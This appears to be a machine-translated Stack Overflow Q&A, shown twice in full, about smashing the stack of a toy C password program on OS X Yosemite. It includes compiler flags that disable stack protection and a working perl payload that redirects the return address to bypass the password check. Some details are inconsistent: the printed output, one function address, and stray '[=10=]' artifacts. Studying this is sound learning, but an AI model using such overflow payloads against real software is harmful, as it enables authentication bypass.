OS X Yosemite 上的堆栈粉碎?
Stack smashing on OS X Yosemite?
我无法弄清楚如何在 OS X 10.10.5 (Yosemite) 上禁用堆栈保护。我一直在拼凑来自各种在线线程的有前途的 gcc 标志,但到目前为止还没有设法禁用保护。我目前正在编译我的程序:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -fno-sanitize=address -D_FORTIFY_SOURCE=0 -Wl,-no_pie -o program program.c
但是当我试图破坏堆栈时出现段错误。
我已经在 Red Hat Enterprise Linux Server 7.2 (Maipo) 上尝试过相同的程序,并在适当调整内存地址差异后,编译后粉碎堆栈没有问题:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -o program program.c
可能还值得注意的是,与大多数 Mac 一样,我机器上的 gcc 是 clang 的符号链接(Apple LLVM 版本 7.0.0 (clang-700.0.72))。
如何禁用 Yosemite 的堆栈保护?
其他详细信息
我正在使用的虚拟程序是:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int authenticate() {
char password[10];
printf("Enter password: ");
scanf("%s", password);
return strcmp(password, "1234567890") == 0;
}
void success() {
printf("Access granted\n");
exit(0);
}
void failure() {
printf("Access denied\n");
exit(1);
}
int main(int argc, char** argv) {
if (authenticate()) {
success();
} else {
failure();
}
}
当我 运行 otool -tv program
时,我注意到以下几点:
我要跳转到的 success
例程位于地址 0x00001e70
。
在authenticate
之后我们通常return的指令位于地址0x00001efe
。
当我 运行 gdb
输入虚拟密码 "xxxxxxxxxx" 并使用 x/30xb &password
检查缓冲区时,我观察到:
0xbffffc32: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0xbffffc3a: 0x78 0x78 0x00 0x00 0x00 0x00 0x00 0x00
0xbffffc42: 0x00 0x00 0xfc 0xfc 0xff 0xbf 0x68 0xfc
0xbffffc4a: 0xff 0xbf 0xfe 0x1e 0x00 0x00
我们要将第 27 个 0xfe
字节覆盖为 0x70
。
当我尝试如下粉碎堆栈时:
printf "xxxxxxxxxxxxxxxxxxxxxxxxxx\x70" | ./program # 26 bytes of junk, followed by 0x70
我遇到段错误。
OS X ABI 要求从 16 字节对齐的堆栈发出系统调用(例如 success
中对 exit
的调用)。当您成功跳转时,您会减少 4 个字节,因为它没有另一个 return 地址位于堆栈上(即,您应该 call
函数)
解决此问题的方法是跳转到更高堆栈帧中对 success
的调用。跳转到我的主要作品:
(gdb) disas main
Dump of assembler code for function main:
0x00001ed0 <+0>: push %ebp
0x00001ed1 <+1>: mov %esp,%ebp
0x00001ed3 <+3>: sub [=10=]x18,%esp
0x00001ed6 <+6>: mov 0xc(%ebp),%eax
0x00001ed9 <+9>: mov 0x8(%ebp),%ecx
0x00001edc <+12>: movl [=10=]x0,-0x4(%ebp)
0x00001ee3 <+19>: mov %ecx,-0x8(%ebp)
0x00001ee6 <+22>: mov %eax,-0xc(%ebp)
0x00001ee9 <+25>: call 0x1df0 <authenticate>
0x00001eee <+30>: cmp [=10=]x0,%eax
0x00001ef1 <+33>: je 0x1f01 <main+49>
0x00001ef7 <+39>: call 0x1e60 <success>
0x00001efc <+44>: jmp 0x1f06 <main+54>
0x00001f01 <+49>: call 0x1e90 <failure>
0x00001f06 <+54>: mov -0x4(%ebp),%eax
0x00001f09 <+57>: add [=10=]x18,%esp
0x00001f0c <+60>: pop %ebp
0x00001f0d <+61>: ret
然后return到call 0x1ef7
指令:
$ perl -e 'print "P"x26, "\xf7\x1e"' | ./stack
Enter password: Root access has been granted
$
我无法弄清楚如何在 OS X 10.10.5 (Yosemite) 上禁用堆栈保护。我一直在拼凑来自各种在线线程的有前途的 gcc 标志,但到目前为止还没有设法禁用保护。我目前正在编译我的程序:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -fno-sanitize=address -D_FORTIFY_SOURCE=0 -Wl,-no_pie -o program program.c
但是当我试图破坏堆栈时出现段错误。
我已经在 Red Hat Enterprise Linux Server 7.2 (Maipo) 上尝试过相同的程序,并在适当调整内存地址差异后,编译后粉碎堆栈没有问题:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -o program program.c
可能还值得注意的是,与大多数 Mac 一样,我机器上的 gcc 是 clang 的符号链接(Apple LLVM 版本 7.0.0 (clang-700.0.72))。
如何禁用 Yosemite 的堆栈保护?
其他详细信息
我正在使用的虚拟程序是:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int authenticate() {
char password[10];
printf("Enter password: ");
scanf("%s", password);
return strcmp(password, "1234567890") == 0;
}
void success() {
printf("Access granted\n");
exit(0);
}
void failure() {
printf("Access denied\n");
exit(1);
}
int main(int argc, char** argv) {
if (authenticate()) {
success();
} else {
failure();
}
}
当我 运行 otool -tv program
时,我注意到以下几点:
我要跳转到的 success
例程位于地址 0x00001e70
。
在authenticate
之后我们通常return的指令位于地址0x00001efe
。
当我 运行 gdb
输入虚拟密码 "xxxxxxxxxx" 并使用 x/30xb &password
检查缓冲区时,我观察到:
0xbffffc32: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0xbffffc3a: 0x78 0x78 0x00 0x00 0x00 0x00 0x00 0x00
0xbffffc42: 0x00 0x00 0xfc 0xfc 0xff 0xbf 0x68 0xfc
0xbffffc4a: 0xff 0xbf 0xfe 0x1e 0x00 0x00
我们要将第 27 个 0xfe
字节覆盖为 0x70
。
当我尝试如下粉碎堆栈时:
printf "xxxxxxxxxxxxxxxxxxxxxxxxxx\x70" | ./program # 26 bytes of junk, followed by 0x70
我遇到段错误。
OS X ABI 要求从 16 字节对齐的堆栈发出系统调用(例如 success
中对 exit
的调用)。当您成功跳转时,您会减少 4 个字节,因为它没有另一个 return 地址位于堆栈上(即,您应该 call
函数)
解决此问题的方法是跳转到更高堆栈帧中对 success
的调用。跳转到我的主要作品:
(gdb) disas main
Dump of assembler code for function main:
0x00001ed0 <+0>: push %ebp
0x00001ed1 <+1>: mov %esp,%ebp
0x00001ed3 <+3>: sub [=10=]x18,%esp
0x00001ed6 <+6>: mov 0xc(%ebp),%eax
0x00001ed9 <+9>: mov 0x8(%ebp),%ecx
0x00001edc <+12>: movl [=10=]x0,-0x4(%ebp)
0x00001ee3 <+19>: mov %ecx,-0x8(%ebp)
0x00001ee6 <+22>: mov %eax,-0xc(%ebp)
0x00001ee9 <+25>: call 0x1df0 <authenticate>
0x00001eee <+30>: cmp [=10=]x0,%eax
0x00001ef1 <+33>: je 0x1f01 <main+49>
0x00001ef7 <+39>: call 0x1e60 <success>
0x00001efc <+44>: jmp 0x1f06 <main+54>
0x00001f01 <+49>: call 0x1e90 <failure>
0x00001f06 <+54>: mov -0x4(%ebp),%eax
0x00001f09 <+57>: add [=10=]x18,%esp
0x00001f0c <+60>: pop %ebp
0x00001f0d <+61>: ret
然后return到call 0x1ef7
指令:
$ perl -e 'print "P"x26, "\xf7\x1e"' | ./stack
Enter password: Root access has been granted
$